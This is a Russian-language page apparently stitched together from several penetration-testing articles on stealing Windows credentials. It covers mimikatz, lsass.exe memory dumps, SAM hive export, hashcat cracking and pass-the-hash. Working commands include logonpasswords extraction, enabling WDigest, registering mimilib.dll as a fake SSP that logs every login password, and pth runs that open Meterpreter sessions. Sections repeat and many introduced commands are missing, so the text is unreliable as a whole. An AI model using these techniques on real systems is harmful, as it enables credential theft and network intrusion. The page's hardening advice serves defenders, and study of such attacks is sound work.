Как можно сделать дам памяти процесса lsass exe

Обновлено: 07.07.2024

Метод шифрования и взлом пароля пользователя Windows

Когда я снова изучил Hastcat, он включал в себя взлом хеша Windows. Я чувствую, что здесь все еще есть некоторые моменты и детали. Я пишу статью, чтобы записать это.

Хеш обычно переводится как «хеш», но может быть напрямую транслитерирован как «хеш». Эта функция шифрования выполняет операцию функции шифрования для строки данных произвольной длины, а затем возвращает строку фиксированной длины. Хеш в основном используется для алгоритмов шифрования в области информационной безопасности.Получение открытого текста или хэша целевой системы во время тестирования на проникновение часто является важной частью всего процесса тестирования на проникновение. В системе Windows хэш пароля локального пользователя хранится в локальном файле SAM, а хэш пароля пользователя в домене хранится в файле NTDS.DIT ​​элемента управления доменом.

Введение в LM Hash

Хэш LAN Manager (LM) - это первый алгоритм хеширования паролей, используемый в системах Windows. Это более старый хэш. Он используется в протоколе LAN Manager и очень легко получить учетные данные в виде открытого текста с помощью взлома грубой силы. Он имеет только одну версию и всегда использует хеширование NT LAN Manager (NTLM). В системах Windows Vista / Windows 7 / Windows Server 2008 и более поздних версий алгоритм хеширования LM отключен по умолчанию, а алгоритм LM находится в DES. реализован на основе, и не различает прописные и строчные буквы.

Принцип генерации LM Hash

Недостатки LM Hash

  1. Максимальная длина пароля может составлять всего 14 символов.
  2. Пароль не чувствителен к регистру
  3. Если надежность пароля меньше 7 бит, то результат шифрования второго блока должен быть aad3b435b51404ee.
  4. Пароль Des не надежный

Введение в NTLM Hash

Хэш NT LAN Manager (NTLM) - это еще один алгоритм, распознаваемый системой Windows. Он используется для замены старого LM-Hash. Обычно он относится к хэшу пароля пользователя, хранящемуся в диспетчере учетных записей безопасности (SAM) в системе Windows. Windows Vista / Windows В системах 7 / Windows Server 2008 и более поздних версий алгоритм хеширования NTLM включен по умолчанию.

Принцип генерации NTLM Hash

  1. Сначала преобразуйте пароль пользователя в шестнадцатеричный формат.
  2. Закодируйте пароль в шестнадцатеричном формате в Unicode.
  3. Используйте алгоритм дайджеста MD4 для вычисления хэша данных в кодировке Unicode

mimikatz


Mimikatz - это проект с открытым исходным кодом для чтения хеш-паролей и паролей в открытом виде для пользователей, вошедших в систему под Windows. Для беспрепятственного чтения паролей у вас должны быть разрешения администратора или системы, поэтому он также является одним из артефактов проникновения в интрасеть.

Локальное интерактивное сканирование

пробег mimikatz.exe , Откройте окно mimikatz, введите следующую команду:

Покажите, есть ли у вас соответствующие разрешения, чтобы продолжить:

Запустить функцию регистрации:

Выведите все пароли в открытом виде, хранящиеся на этом компьютере:

В это время он будет сгенерирован в каталоге, в котором запущена текущая оболочка. mimikatz.log , Которая записывает некоторые детали перехвата паролей.

Локальное неинтерактивное сканирование

Запускайте непосредственно из командной строки CMD с высокими привилегиями:

В это время он будет сгенерирован в каталоге, в котором запущена текущая оболочка. mimikatz.txt , Которая записывает некоторые детали перехвата паролей.

Удаленное неинтерактивное сканирование

лабораторная среда

Детали устройства айпи адрес Взять на себя роль
macOS 10.211.55.2 злоумышленник
Windows 7 SP 1 10.211.55.12 Атаковали

macOS

Заранее встроенные мониторы macOS:

Guoguang Лично я предпочитаю больше команд ncat, в зависимости от личных предпочтений.

Windows

Здесь для удобства положил nc.exe Загружено на mimikatz.exe В том же каталоге:

DNS fwd/rev mismatch: GG != GG.lan
GG [ 10.211.55.2 ] 2333 ( ? ) open

эффект

После завершения этой операции, не оставляя никаких файлов в целевой системе, напрямую отправьте захваченные результаты на указанный удаленный компьютер с помощью nc. В это время сторона macOS получила возвращенную информацию о пароле:


Powershell load mimikatz grab

Когда целевая машина может подключиться к внешней сети:

В случае интрасети вы можете загрузить сценарий, создать локальный веб-сервер самостоятельно и получить к нему доступ через IP-адрес интрасети:

Взять образцы каждой версии системы

Windows Server 2003 R2

Ключевая информация такова:

Windows Server 2008 R2

Конфигурация Windows Server 2008 R2 по умолчанию все еще может считывать хэш типа LM, что не соответствует теории в Интернете, что указывает на то, что WIndows Server 2008 R2 и Windows 7 еще не полностью отключили хеш типа LM.

Windows 7 SP1

Ключевая информация такова:

Windows 10 1903

Ключевая информация такова:

Виды ценить
имя пользователя sqlsec
Простой текст Пусто здесь не читается
NTLM f00a25418f128daaef2bc89ed94416bd

Windows 10 не может использовать mimikatz для чтения пароля в виде обычного текста, только зашифрованный можно прочитать напрямую NTLM ценить.

ProcDump + mimikatz


Официальный адрес сайта:ProcDump v9.0

ProcDump - это программа командной строки, которая может легко перенести запущенный процесс системы в файл дампа, и, поскольку он создается самой Microsoft, он может убить большое количество программного обеспечения.

дамп процесса lsass.exe

x86 x64, соответственно, выполнить соответствующие исполняемые файлы.Так как на этот раз тестовая система 64-разрядная, выполните procdump64.exe

В это время он будет сгенерирован в каталоге, в котором запущена текущая оболочка. lsass.dmp , Это файл, хранящийся в процессе lsass.exe, который записывает хеш-информацию.

Для систем NT6 и выше вы также можете использовать встроенные функции Windows для дампа:

Диспетчер задач Нажмите на Показать все процессы пользователей А затем найти lsass.exe Процесс, Щелкните правой кнопкой мыши ,Выбрать Создать файл передачи


Прочитать информацию о файле dmp

Перенести созданный выше lsass.dmp Файл в mimikatz.exe В том же каталоге выполните следующую неинтерактивную команду, чтобы прочитать пароль напрямую:

mimikatz.exe “sekurlsa::minidump lsass.dmp” “sekurlsa::logonPasswords” exit

QuarksPwDump


QuarksPwDump - это инструмент для экспорта информации об авторизации системы в среде Win32. Он поддерживает многие версии ОС Windows: XP / 2003 / Vista / 7/2008/8 (тест Windows10 Guoguang не прошел и хэш не был успешно прочитан)

имя файла ссылка для скачивания
QuarksPwDump.exe Ссылка для скачивания OneDriver

Если вы хотите добавить антивирусную функцию самостоятельно, вы можете скомпилировать ее самостоятельно. Здесь Guoguang использует VS Studio 2010 для ее компиляции. Кстати, адрес загрузки прилагается:

имя файла ссылка для скачивания
Учебная версия VC ++ 2010 и постоянный регистрационный code.zip Ссылка для скачивания OneDriver

Кроме того, у Githun есть другие обновленные версии, которые скомпилировал Даниэль, и мы также можем загрузить их напрямую:

Эта новая версия QuarksPwDumpv_0.3a добавила -sf параметр

QuarksPwDump записывает команду пароля следующим образом:

Возьмите Hash и сгенерируйте его в том же каталоге hash.txt Конкретный хеш файла выглядит следующим образом:

Взлом Hashcat

Когда вы получаете зашифрованный текст LM или NTLM, при отсутствии открытого текста, самый прямой метод - это, конечно, его расшифровать напрямую. Здесь для расшифровки пароля используется Hashcat. Студенты, которые не знают Hashcat, могут обратиться к этой статье :Запись обучения Hashcat

Предположим, мы читаем хэш следующим образом:

  • LM : 921988ba001dc8e14a3b108f3fa6cb6d
  • NTLM : e19ccf75ee54e06b06a5907af13cef42

Фактически, это открытый текст: P @ ssw0rd

Давайте использовать Hashcat, чтобы вкратце продемонстрировать взлом, здесь я использовал его для взлома -a 0 Взлом словаря, hashcat -help может увидеть, что соответствующие хеш-номера LM и NTLM соответственно 3000 с 1000

Ничего особенного, давайте пройдемся по процессу и раскроем его:

Hashcat взламывает LM Hash

Поскольку длина LM Hash составляет не более 14 символов, пароль делится на 2 символа длиной 7 для хранения, поэтому, когда Hashcat взламывается здесь, он также разделяется на две части для взлома отдельно:

Hashcat взламывает NTLM Hash

Взлом прошел успешно и были получены следующие результаты:

Взлом хеша в Интернете

Для старого иностранного веб-сайта взлома хэша просто введите значение NTLM Hash:



Есть много других веб-сайтов, которые не рекомендуются, вот только два наиболее используемых веб-сайта.

Доставка хэша

Вступление

PASS THE Hash также называется атакой передачи хэша, или сокращенно PTH. Имитация входа пользователя в систему не требует пароля пользователя в виде открытого текста, и только полученный хэш может использоваться для входа в целевую систему.

Предпосылками для успешного использования являются:

Включите службу SMB на порту 445

Открыть общий доступ администратора $

Здесь хэш пользователя-администратора, захваченный mimikatz для целевой Windows Server 2008 R2 (10.211.55.4):

Хэш пользователя-администратора, захваченный QuarksDump:

После теста Guoguang, когда следующий хэш пройден, если следующий NTLM-хеш верен, вы можете успешно войти в систему с тем, что вы вводите спереди. После тестирования следующий хеш может быть успешным:

Другими словами :E19CCF75EE54E06B06A5907AF13CEF42 Эта деталь играет ключевую роль в аутентификации. Пока номер на лицевой стороне правильный, нет проблем с заполнением чего-либо. Ниже приводится конкретная демонстрация.

Metasploit

В Metasploit есть три модуля psexec, которые можно использовать для передачи хэша. Это:

auxiliary/admin/smb/psexec_command

[ + ] 10.211.55.14:445 - Service start timed out, OK if running a command or non-service executable … .
[ ] 10.211.55.14:445 - checking if the file is unlocked
[
] 10.211.55.14:445 - Getting the command output … .
[ ] 10.211.55.14:445 - Executing cleanup … .
[ + ] 10.211.55.14:445 - Cleanup was successful
[ + ] 10.211.55.14:445 - Command completed successfully !
[
] 10.211.55.14:445 - Output for “whoami” :

[ ] 10.211.55.14:445 - Scanned 1 of 1 hosts ( 100% complete )
[
] Auxiliary module execution completed

Более безвкусно то, что этот модуль не поддерживает пакетную проверку формата сетевого сегмента, поэтому следующие два модуля можно рассматривать в реальных боевых условиях.

exploit/windows/smb/psexec

Поддерживает IP в формате сегмента сети для облегчения пакетной проверки PTH. Ниже приводится единый процесс проверки:

[ ] Started reverse TCP handler on 10.211.55.4:4444
[
] 10.211.55.14:445 - Connecting to the server … .
[ ] 10.211.55.14:445 - Authenticating to 10.211.55.14:445 as user ‘administrator’ … .
[
] 10.211.55.14:445 - Selecting PowerShell target
[ ] 10.211.55.14:445 - Executing the payload … .
[ + ] 10.211.55.14:445 - Service start timed out, OK if running a command or non-service executable … .
[
] Sending stage ( 179779 bytes ) to 10.211.55.14
[ * ] Meterpreter session 2 opened ( 10.211.55.4:4444 - > 10.211.55.14:49168 ) at 2019-11-24 23:42:38 +0800

Следующий эффект пакетной проверки сетевого сегмента более практичен и эффективен в качестве такой проверки в интрасети:


По поводу вопроса о том, что предыдущий 32-битный хеш не работает, я зашел на форум T00ls, чтобы задать вопрос. Вот ответы мастеров:

iceword: Предыдущий - lm hash, lm hash устарел и не используется для проверки, поэтому вы можете добавить что угодно

Hello_C: NTLM Hash = LM Hash + NT Hash, если LM Hash имеет значение aad3b435b51404eeaad3b435b51404ee, пароль может быть пустым или хеш lm не сохраняется. В 2008 году хеш lm не сохраняется по умолчанию. Pth использует хэш nt. Для некоторых инструментов может потребоваться формат хеша lm hash: nt. Без хеша lm для заполнения можно использовать любые 32 символа.

Гость безопасности: Если пароль пуст или LM-хэш не сохранен, мы поймали LM-хэш AAD3B435B51404EEAAD3B435B51404EE. Итак, в win7 мы видим, что все пойманные LM-хэши - это AAD3B435B51404EEAAD3B435B51404EE, а LM-хеш здесь не имеет значения.

exploit/windows/smb/psexec_psh

[ ] Started reverse TCP handler on 10.211.55.4:4444
[
] 10.211.55.14:445 - Executing the payload … .
[ + ] 10.211.55.14:445 - Service start timed out, OK if running a command or non-service executable … .
[ ] Sending stage ( 179779 bytes ) to 10.211.55.14
[
] Meterpreter session 3 opened ( 10.211.55.4:4444 - > 10.211.55.14:49169 ) at 2019-11-24 23:44:12 +0800

Этот модуль также поддерживает пакетную проверку сегментов сети, поэтому я не буду здесь вдаваться в подробности.

date

18.05.2021

directory

Windows 10, Windows Server 2016, Безопасность

comments

комментариев 28

В этой статье, написанной в рамках серии статьей, посвященной обеспечению безопасности Windows-систем, мы познакомимся с достаточно простой методикой получения паролей пользователей Windows с помощью Open Source утилиты Mimikatz.

Программа mimikatz позволяет извлечь из памяти Windows пароли в виде простого текста, хэши паролей, билеты kerberos из памяти и т.д. Также mimikatz позволяет выполнить атаки pass-the-hash, pass-the-ticket или генерировать Golden тикеты. Функционал mimikatz доступен также через Metasploit Framework.

В этой статье мы покажем, как получить пароли пользователей в Windows Server 2016 или Windows с помощью mimikatz.

Дисклаймер. Информация и технологии, описанные в данной статье, стоит использовать только в информационно-ознакомительных целях, и ни в коем случае не применять для получения доступа к учетным записям, информации и системам третьих лиц.

Извлекаем хэши паролей пользователей из памяти Windows

получение NTLM хэша пароля пользователя Windows из LSASS

Можно использовать mimikatz не в интерактивном, а в командном режиме. Чтобы автоматически получить хэши паролей пользователей и экспортировать в текстовый файл, выполните команды:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tools\mimikatz\output.txt

Как вы видите, сервис быстро нашел значения для этих NTLM хэшей. Т.е. мы получили пароли пользователей в открытом виде (представьте, что один из них это администратор домена….).

расшифровка ntlm хэшей

Если вы используете более сложные пароли, расшифровать их будет намного сложнее. Поэтому всегда включаете повышенную сложность в политике паролей Windows и выполняйте аудит надежности паролей в домене.

Как вы видите, благодаря mimikatz мы получили NTLM хеши всех активных пользователей! Все это благодаря тому, что на данном компьютере разрешено использовать режим отладки, выставляя флаг SeDebugPrivilege для нужного процесса. В этом режиме программы могут получать низкоуровневый доступ к памяти процессов, запущенных от имени системы.

Примечание. В июне 2017 года многие крупные компании России, Украины и других стран были заражены вирусом-шифровальщиком not-petya, которые для сбора паролей пользователей и администраторов домена использовал в том числе интегрированный модуль mimikatz.

Получение хешей паролей пользователей из дампа памяти Windows

Рассмотренная выше методика получения хэшей пароля не сработает, если на сервере установлен антивирус, блокирующего инъекцию. В этом случае придется сначала создать дамп памяти процесса LSASS на целевом сервере, и затем на другом компьютере с помощью mimikatz извлечь из него хэши пароли для сессий пользователей.

Создать дамп памяти процесса в Windows довольно просто. Запустите Task Manager, найдите процесс lsass.exe, щелкните по нему правой клавишей и выберите Create dump file.

дамп процесса lsass.exe

Windows сохраните дам памяти в указанную папку.

Вам осталось только разобрать дамп с помощью mimikatz (можно на другом компьютере). Загрузите дамп памяти в mimikatz:

Mimikatz “sekurlsa::minidump C:\Users\anovach\AppData\Local\Temp\lsass.DMP”

Вывести информацию о пользователях, и хэшах их паролей из сохраненного дампа памяти:

получение ntlm хэшей из дампа памяти

Вы можете получить дамп памяти с удаленного компьютера с помощью psexec, или через WinRM (при наличии прав администратора), и затем из него пароли пользователей.

Также для получения дампа можно использовать утилиту procdump от Sysinterals.

procdump -ma lsass.exe lsass.dmp

Дамп памяти для процесса LSASS можно получить с помощью PowerShell функции Out-Minidump.ps1 . Импортируйте функцию Out-Minidump в PoSh и создайте дамп памяти процесса LSASS:

Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump


Получение паролей пользователей из файлов виртуальных машины и файлов гибернации

Также возможно извлечь пароли пользователей из файлов дампов памяти, файлов гибернации системы (hiberfil.sys) и. vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).

Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).

Например, чтобы преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполните команду:

bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp

Полученный дамп откройте в WinDbg (File -> Open Crash Dump). Загрузите библиотеку mimikatz с именем mimilib.dll (используйте версию библиотеки в зависимости от разрядности Windows):

Найдите в дампе процесс lsass.exe:

!process 0 0 lsass.exe

Поиск в дампе памяти процесса lsass

И наконец, выполните:

.process /r /p fffffa800e0b3b30
!mimikatz

В результате вы получите список пользователей Windows, и NTLM хэши их паролей, или даже пароли в открытом виде.

Получаем пароль пользователя Windows

Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?

Протокол WDigest по-умолчанию отключен во всех новых версиях Windows, в том числе Windows 10 и Windows Server 2016. Но не удален окончательно. Если у вас есть права администратора в Windows, вы можете включить протокол WDiget, дождаться входа пользователей и получить их пароли.

Включите поддержку Wdigest:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Дождитесь входа пользователей (в Windows 10 нужно пользователю нужно перезайти, в Windows Server 2016 достаточно разблокировать сессию после блокировки экрана) и получите их пароли через mimikatz:

Как вы видите, в секции wdigest содержится пароль пользователя в открытом виде:

получение пароля пользователя в открытом виде

Извлекаем пароли локальных пользователей Windows из SAM

С помощью mimikatz вы можете извлечь хэши паролей локальных пользователей Windows из SAM так:

Также можно извлечь NTLM хэши SAM из реестра.

экспорт реестра

  1. Экспортируйте содержимое веток реестра SYSTEM и SAM в файлы: reg save hklm\sam c:\tmp\sam.hiv
    reg save hklm\security c:\tmp\sec.hiv
  2. Затем с помощью Mimikatz извлеките хэши паролей: privilege::debug
    token::elevate
    lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv

извлечение ntlm хэшей из реестра

Использование Mimikatz в pass-the-hash атаках

Если у пользователя используется достаточно сложный пароль, и получить его быстро не удается, можно использовать Mimikatz для атаки pass-the-hash (повторное использование хэша). В этом случае хэш может использовать для запуска процессов от имени пользователя. Например, получив NTLM хэш пароля пользователя, следующая команда запустит командную строку от имени привилегированного аккаунта:

privilege::debug
sekurlsa::pth /user:Administrator /domain:srv01 /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe

использование mimikatz для запуска команд по известному хэшу

Также для использования NTLM хэша для выполнения команд на удаленных компьютерах можно использовать утилиту Invoke-TheHash. Позволяет также

Просмотр сохраненных паролей в Windows

В Windows вы можете сохранять пароли в Windows Credential Manager (это могут быть пароли для доступа к удаленным компьютерам, сайтам, пароли для RDP подключений в формате TERMSRV/server1). Mimikatz может извлечь эти пароли из Credential Manager и показать их вам:

Как вы видите, сохраненый пароль показан в секции credman.

получаем сохраненные пароли Windows

Пароли для автоматического входа в Windows хранятся в реестре в открытом виде. Также просто извлечь сохраненные Wi-Fi пароли.

Дампим пароли при входе в Windows

Еще один интересный способ дампа паролей в Windows заключается в использовании дополнительно SSP провайдера (Security Support Provider).

поддельный ssp провайдер mimilib.dll

  1. Скопируйте файл библиотеки Mimikatz mimilib.dll в папку C:\Windows\System32\.
  2. Зарегистрируйте дополнительного провайдер командой: reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
  3. При входе каждого пользователя в Windows его пароль будет записываться в файл kiwissp.log. Можно вывести все пароли через PowerShell:
    Get-Content C:\Windows\System32\kiwissp.log

пароли всех пользователей зписываются при входе в Windows в тектовый файл

Как защитить Windows от извлечения паролей из памяти?

В Windows 8.1 и Server 2012 R2 (и выше) возможности по извлечению паролей через LSASS несколько ограничены. Так, по-умолчанию в этих системах в памяти не хранятся LM хэш и пароли в открытом виде. Этот же функционал бэкпортирован и на более ранние версии Windows (7/8/2008R2/2012), в которых нужно установить специальное обновление KB2871997 (обновление дает и другие возможности усилить безопасность системы) и отключить WDigest в реестре (в ветке HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest установить параметр DWORD реестра UseLogonCredential равным 0).

Если после установки обновления и ключа UseLogonCredential попробовать извлечь пароли из памяти, вы увидите, что mimikatz с помощью команды creds_wdigest не сможет извлечь пароли и хэши.

mimikatz creds_wdigest не работает в Windows 8.1 / 2012 R2 и выше

Выше мы показывали, как при наличии прав администратора можно легко установить этот ключ в уязвимое значение. После этого вы опять сможете получить доступ к паролям в памяти LSA.

В инструментарии mimikatz есть и другие инструменты получения паролей и их хэшей из памяти (WDigest, LM-hash, NTLM-hash, модуль для захвата билетов Kerberos), поэтому в качестве рекомендаций рекомендуется реализовать следующие меры:

В этой статье, написанной в рамках серии статьей, посвященной обеспечению безопасности Windows-систем (в последний статье мы обсуждали вопросы безопасности паролей, хранимых в GPP) , мы познакомимся с достаточно простой методикой получения в открытом виде паролей всех пользователей, работающих в Windows-системе с помощью Open Source утилиты Mimikatz.

Дисклаймер. Информация и технологии, описанные в данной статье, стоит использовать только в информационно-ознакомительных целях, и ни в коем случае не применять для получения доступа к учетным записям, информации и системам третьих лиц.

Хранение паролей и хэшей в памяти Windows

Инфо. Утилита mimikatz детектируется большинством антивирусов и браузерами, как потенциально опасное ПО (хакерская утилита).

Утилита mimikatz позволяет извлечь пароли пользователей непосредственно из памяти ( путем инъекции в lsass .exe библиотеки sekurlsa .dll ), из сохраненного дампа памяти компьютера или даже из файла гибернации.

Используем Mimikatz для извлечения паролей пользователей из lsass.exe онлайн

  • Скачайте и запустите Mimikatz.exe с правами администратора (есть x86 и x64-версии утилиты для соответствующих систем)
  • В контексте утилиты выполните команды

Примечание. В июне 2017 года многие крупные компании России, Украины и других стран были заражены вирусом-шифровальщиком not-petya, которые для сбора паролей пользователей и администраторов домена использовал в том числе интегрированный модуль mimikatz.

Получение пароля пользователя из дампа памяти Windows

Дамп памяти для процесса LSASS можно получить с помощью PowerShell функции Out-Minidump.ps1 . Импортируйте функцию Out-Minidump в PoSh и создайте дамп памяти процесса LSASS:
Получившийся дамп памяти, в нашем примере это lsass_592.dmp (по умолчанию он сохраняется в каталоге %windir\system32%), нужно скопировать на другой компьютер, в которой имеется утилита mimikatz и выполнить команду:
И следующей командой получим из сохранённого дампа памяти список пользователей, работающих в системе и их пароли:

Как вы видите, ничего сложного.
Таким способом можно получить дамп памяти с удаленного компьютера с помощью psexec или через WinRM (при наличии прав администратора) и извлечь из него пароль пользователя.

Получение паролей пользователей из файлов виртуальных машины и файлов гибернации

  • Windows Server 2008 / 2008 R2
  • Windows Server 2012/ R2
  • Windows 7
  • Windows 8

Примечание. Кстати говоря, функционал mimikatz уже внедрен в Metasploit Framework.

Использование Mimikatz в pass-the-hash атаках

В том случае, если не удается получить пароль пользователя, а только его хеш, Mimikatz можно использовать для так называемой атаки pass-the-hash (повторное использованиу хэша). В этом случае хэш может использовать для запуска процессов от имени пользователя. Например, получив NTLM хэш пользователя, следующая команда запустит командную строку от имени привилегированного аккаунта:
sekurlsa::pth /user:Administrator /domain:CORP /ntlm: /run:cmd

Как защитить Windows от извлечения паролей из памяти через mimikatz?

  • Запретить хранить пароли с использование обратимого шифрования (Reversible Encryption)
  • Запретить использование сохранённых паролей в Credential Manager
  • Запретить кэшировать учетные данные доменных пользователей (ключ CachedLogonsCount и политика Interactive logon: Number of previous logons to cache)
  • Если функциональный уровень домена не ниже Windows Server 2012 R2, можно добавить учетные записи администартороав в специальную группу Protected Users

Этичный хакинг и тестирование на проникновение, информационная безопасность

В этой статье мы узнаем, где в Windows хранится пароль пользователя, как извлечь данные для взлома пароля Windows, как раскрыть пароль пользователя и как их использовать даже без брут-форса.

Не каждый пользователь использует пароль на Windows — особенно редко пользователи устанавливают пароль на домашнем компьютере, за которым работает один человек. Но в условиях корпоративной сети или при использовании Windows в качестве сервера, пароль является обязательным. Ещё одно интересное свойство пароля пользователя Windows: если пользователь завёл онлайн учётную запись Microsoft, то хеш пароля всё равно хранится на локальном компьютере, но расшифрованный пароль подойдёт и для локального компьютера, и для онлайн сервисов Microsoft.

Где Windows хранит пароль входа пользователя?

Пароли пользователей Windows хранятся в кустах (hives) реестра Windows под названием SYSTEM и SAM в файлах:

  • C:/Windows/System32/config/SAM
  • C:/Windows/System32/config/SYSTEM

Вместо пароля в виде простого текста, Windows хранит хеши паролей. Эти хеши легко поддаются брут-форсу, но даже без взлома хеши паролей Windows можно использовать для сбора данных и выполнения атак.

Как получить хеши паролей Windows

Дамп хешей паролей Windows на работающем компьютере

На запущенной системе проблематично получить доступ к файлам C:/Windows/System32/config/SAM и C:/Windows/System32/config/SYSTEM, хотя это и возможно. Для сохранения копий этих файлов можно использовать утилиту reg, а именно следующие команды:

В некоторых инструкциях вместо SYSTEM сохраняют куст SECURITY — это ошибка, с кустами SECURITY и SAM восстановить хеш не удасться, нужны именно SYSTEM и SAM!

Хеш пароля также содержится в оперативной памяти, а именно в процессе Local Security Authority Process (lsass.exe). Этот процесс всегда запущен в работающей Windows и можно сделать его дамп (копию процесса в оперативной памяти сохранить на диск в виде файла). Для создания дампа можно использовать различные утилиты, в том числе две официальные:

Диспетчер задач уже имеется в каждой Windows, чтобы его открыть нажмите Win+r и наберите taskmgr, затем нажмите ENTER. Либо правой кнопкой мыши нажмите на панель задач (то есть на нижнюю полоску, где находятся часы, кнопка пуск и т. д.) и в контекстном меню выберите «Диспетчер задач».


В Диспетчере задач нажмите «Подробнее» и во вкладке «Процессы», в разделе «Процессы Windows» найдите Local Security Authority Process, нажмите на него правой кнопкой мыши и выберите в контекстном меню пункт «Создать файл дампа»:



Файл будет сохранён по пути C:\Users\ПОЛЬЗОВАТЕЛЬ\AppData\Local\Temp\lsass.DMP. У меня имя пользователя MiAl и путь до файла C:\Users\MiAl\AppData\Local\Temp\lsass.DMP.

Дамп хешей паролей Windows на выключенном компьютере

На выключенном компьютере для последующего извлечения пароля пользователя достаточно скопировать файлы:

  • C:/Windows/System32/config/SAM
  • C:/Windows/System32/config/SYSTEM

Эти же файлы можно найти в резервной копии Windows или в Shadow копии диска, либо скопировать загрузившись с Live системы.

Чем различаются хеши NTLM и NTLMv1/v2 и Net-NTLMv1/v2

Сейчас мы будем охотиться за хешем NTLM. В статье «Взлом сетевой аутентификации Windows» мы уже охотились за хешами NTLMv1 и NTLMv2, название которых довольно похоже.

На самом деле, NTLM и NTLMv1/v2 это довольно разные вещи. Хеш NTLM хранится и используется локально, а хеши NTLMv1/NTLMv2 используются для сетевой аутентификации и являются производными хеша NTLM. Используя любой из этих хешей можно расшифровать пароль пользователя Windows, но это разные алгоритмы шифрования/взлома.

Для атаки Pass-the-hash (мы рассмотрим её в этой статье) применим только хеш NTLM, а хеши NTLMv1/NTLMv2 не подходят.

Остался ещё один вопрос, что такое хеши Net-NTLMv1/v2. Хеши Net-NTLMv1/v2 это сокращённое название для хешей NTLMv1/v2, то есть NTLMv1/v2 и Net-NTLMv1/v2 это одно и то же. А NTLM это другое.

В этой статье мы будем извлекать, взламывать и эксплуатировать без взлома хеш NTLM.

Что такое mimikatz

Программа mimikatz хорошо известна за возможность извлекать пароли в виде простого текста, хеши, ПИН коды и тикеты kerberos из памяти. mimikatz также может выполнять атаки pass-the-hash, pass-the-ticket или строить Golden тикеты.

Имеются реализации mimikatz в Meterpreter & Metasploit, DLL reflection в PowerShell и других продуктах. В принципе, mimikatz можно запускать в Wine на Linux, но не будут работать функции, связанные с извлечением данных непосредственно из Windows; функции извлечения хешей из дампов или расшифровки из файлов реестра должны работать в Linux.

Как установить mimikatz в Windows

mimikatz — это портативная утилита командной строки. То есть установка не требуется, но нужно уметь запустить, если вы не очень знакомы с командной строкой.

2. Откройте PowerShell (Win+x → Windows PowerShell (администратор)) или командную строку (Win+r → cmd).

3. В командной строке с помощью команды cd перейдите в папку с исполнимым файлом mimikatz.exe. К примеру, архив распакован в папку C:\Users\MiAl\Downloads, тогда исполнимый файл будет в папке C:\Users\MiAl\Downloads\mimikatz_trunk\x64\:

4. Запустите исполнимый файл.

Как извлечь хеш пароля пользователя NTLM из файлов реестра

Следующие команды нужно выполнять в консоли mimikatz.

Команда log включает запись всего вывода в ФАЙЛ:

К примеру, для запуска всего вывода в файл hash.txt:

Я скопировал с выключенного компьютера файлы SYSTEM и SAM, теперь для извлечения хеша мне нужно запустить команду вида:

Пример моей команды:



Вывод довольно обширный и много не до конца понятных данных. Интерес представляют последовательно идущие строки вида:

В моём примере интересные строки:

Также есть строки с именами пользователей:

Но после них нет строк с хешем NTLM, поскольку у этих пользователей не установлен пароль в системе.

Если вы хотите извлечь данные из файлов реестра текущей операционной системы, то выходим из mimikatz, для этого нажмите Ctrl+c.

Теперь сделаем дамп кустов реестра SYSTEM и SAM текущей системы:

Вновь запускаем mimikatz:

Включаем ведение журнала:

И выполняем команду с указанием файлов, в которые сохранены дампы кустов реестра, то есть SystemBkup.hiv и SamBkup.hiv:


Здесь найден только один пользователь с хешем:

На самом деле, для извлечения хешей NTLM из локальной системы необязательно было делать дамп кустов реестра. Другой вариант — повысить привилегии самой программы mimikatz и извлечь хеши непосредственно из системы. Для этого выполните команды:


Извлечение хеша NTLM из дампа lsass.DMP

По логике (и на практике) в дампе процесса Local Security Authority Process должен быть хеш только пользователя, выполнившего вход с паролем.

Вначале укажите путь до файла дампа командой вида:

Затем выполните команду:

Брут-форс хеша NTLM

Для взлома я возьму следующий хеш:

Загляним в справку Hashcat, чтобы узнать номер режима хеша NTLM:

То есть номер хеша NTLM равен 1000.

Чтобы запустить атаку по маске для взлома NTLM в Hashcat нужно выполнить команду вида:

Пример моей реальной команды:

  • hashcat — имя исполнимого файла. В Windows это может быть hashcat64.exe.
  • --force — игнорировать предупреждения
  • --hwmon-temp-abort=100 — установка максимальной температуры, после которой будет прерван перебор, на 100 градусов Цельсия
  • -m 1000 — тип хеша NTLM
  • -D 1,2 — означает использовать для взлома и центральный процессор, и видеокарту
  • -a 3 — означает атаку по маске
  • -i — означает постепенно увеличивать количество символов в генерируемых паролях
  • --increment-min 1 — означает начать с длины маски равной единице
  • --increment-max 10 — означает закончить перебор при длине маске равный десяти
  • -1 ?l?d — пользовательский набор символов номер 1, в него включены маленькие латинские буквы (?l) и цифры (?d)
  • ca76a176340f0291e1cc8ea7277fc571 — хеш для взлома
  • ?1?1?1?1?1?1?1?1?1 — маска из пользовательского набора символов


Взломаем ещё один хеш:

Команда (другой хеш и другой набор пользовательских символов):


Итак, в этой статье мы научились извлекать хеш NTLM и взламывать пароль Windows. А что делать, если не удалось взломать NTLM? Ответ на этот вопрос смотрите во второй части, которая называется «Использование NTLM без взлома пароля: атака Pass-the-hash».

Читайте также: